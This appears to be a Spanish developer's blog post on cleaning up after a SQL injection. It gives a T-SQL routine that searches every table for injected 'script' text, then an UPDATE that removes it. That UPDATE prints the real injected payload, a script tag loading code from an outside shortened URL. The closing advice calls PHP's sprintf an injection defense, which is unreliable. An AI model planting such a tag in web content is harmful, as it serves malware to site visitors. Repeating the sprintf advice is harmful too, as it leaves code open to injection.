Hace poco nos la han metido doblada en un proyecto y han conseguido hacer un query injection, problema, localizar todas las tablas donde han conseguido insertarlo. Al final me he marcado una pequeña rutina para buscar en todas las tablas de la base de datos….
En este caso buscamos la palabra script
DECLARE @resultados TABLE (columna nvarchar(370), valor nvarchar(3630))
DECLARE @tabla nvarchar(256), @columna nvarchar(128), @cadenaBuscar nvarchar(110)
SET @tabla = ''
SET @cadenaBuscar = QUOTENAME('%script%','''')
WHILE @tabla IS NOT NULL
BEGIN
SET @columna = ''
SET @tabla =
(SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @tabla AND OBJECTPROPERTY(OBJECT_ID( QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) ), 'IsMSShipped' ) = 0)
WHILE (@tabla IS NOT NULL) AND (@columna IS NOT NULL)
BEGIN
SET @columna = (SELECT MIN(QUOTENAME(COLUMN_NAME)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = PARSENAME(@tabla, 2) AND TABLE_NAME = PARSENAME(@tabla, 1) AND DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar') AND QUOTENAME(COLUMN_NAME) > @columna)
IF @columna IS NOT NULL
BEGIN
INSERT INTO @resultados
EXEC ( 'SELECT ''' + @tabla + '.' + @columna + ''', LEFT(' + @columna + ', 3630) FROM ' + @tabla + ' (NOLOCK) ' + ' WHERE ' + @columna + ' LIKE ' + @cadenaBuscar )
END
END
END
SELECT columna, valor FROM @resultados
Con esto conseguimos que nos salga tabla, la columna y el registro donde lo ha encontrado por lo que podemos cargarnos el código malicioso con un simple replace:
update tabla set campo = replace(campo, '</title><script src=http://is.gd/s4NB8c ></script>', '')
Y ahora solo falta encontrar por donde se han colado, pero eso ya es otra historia… (cuando pille al zarpas que lo ha permitido se va a cargar).
Por cierto, la mejor forma de evitar query injection es meter todos los insert, updates y deletes en procedimientos almacenados y que el usuario que haga las select SOLO tenga permiso para select. A parte, cada lenguaje tiene sus propios sistemas para evitarlo: cfqueryparam en coldfusion, sprintf en PHP, etc